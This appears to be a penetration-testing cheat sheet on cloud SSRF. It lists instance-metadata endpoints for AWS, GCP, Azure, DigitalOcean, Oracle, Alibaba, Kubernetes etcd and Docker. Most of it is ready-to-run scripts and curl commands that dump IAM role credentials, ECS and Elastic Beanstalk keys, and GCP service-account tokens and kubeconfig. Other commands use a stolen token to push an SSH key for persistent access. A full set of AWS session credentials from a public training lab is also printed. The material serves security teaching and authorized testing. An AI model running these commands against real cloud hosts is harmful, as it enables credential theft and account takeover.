# Cloud SSRF
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## AWS ### Abusing SSRF in AWS EC2 environment **The metadata** endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF). You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req='curl -s -f -H "$HEADER"' elif [ "$(command -v wget)" ]; then aws_req='wget -q -O - -H "$HEADER"' else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; $aws_req "$URL/instance-type"; echo "" printf "region: "; $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" $aws_req "$URL/identity-credentials/ec2/info"; echo "" $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $($aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" $aws_req "$URL/iam/info" for role in $($aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials $aws_req "http://169.254.169.254/latest/user-data" ``` As a publicly available IAM credentials exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do. To take advantage of the new credentials, you will need to crate a new AWS profile like this one: ``` [profilename] aws_access_key_id = ASIA6GG7PSQG4TCGYYOU aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` Notice the **aws\_session\_token**, this is indispensable for the profile to work. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges ### SSRF in AWS ECS (Container Service) credentials **ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**. If you access _**http://169.254.170.2/v2/credentials/\**_ you will find the credentials of the ECS machine. But first you need to **find the \_\**\_ . To find the \ you need to read the **environ** variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** inside the machine.\ You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_\ \_\_The mentioned http address should give you the **AccessKey, SecretKey and token**. ```bash curl "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2/$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` ### SSRF URL for AWS Elastic Beanstalk We retrieve the `accountId` and `region` from the API. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL) Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### SSRF URL for Google Cloud Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" and you can access the metadata endpoint in with the following URLs: * http://169.254.169.254 * http://metadata.google.internal * http://metadata Interesting endpoints to extract information: ```bash # /project # Project name and number curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/zone # Network Interfaces for iface in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/email") echo " Aliases: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/aliases") echo " Identity: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/identity") echo " Scopes: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/scopes") echo " Token: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/$sa/token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig ``` Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` ### Add an SSH key Extract the token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Check the scope of the token ``` $ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Now push the SSH key. ``` curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` ## Digital Ocean Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Packetcloud Documentation available at [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata) ## Azure Limited, maybe more exists? [`https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`](https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/) [http://169.254.169.254/metadata/v1/maintenance](http://169.254.169.254/metadata/v1/maintenance) Update Apr 2017, Azure has more support; requires the header “Metadata: true” [`https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service) ``` http://169.254.169.254/metadata/instance?api-version=2017-04-02 http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text ``` ## OpenStack/RackSpace (header required? unknown) ``` http://169.254.169.254/openstack ``` ## HP Helion (header required? unknown) ``` http://169.254.169.254/2009-04-04/meta-data/ ``` ## Oracle Cloud ``` http://192.0.0.192/latest/ http://192.0.0.192/latest/user-data/ http://192.0.0.192/latest/meta-data/ http://192.0.0.192/latest/attributes/ ``` ## Alibaba ``` http://100.100.100.200/latest/meta-data/ http://100.100.100.200/latest/meta-data/instance-id http://100.100.100.200/latest/meta-data/image-id ``` ## Kubernetes ETCD Can contain API keys and internal ip and ports ``` curl -L http://127.0.0.1:2379/version curl http://127.0.0.1:2379/v2/keys/?recursive=true ``` ## Docker ``` http://127.0.0.1:2375/v1.24/containers/jsonSimple example docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json ``` ## Rancher ``` curl http://rancher-metadata// ```
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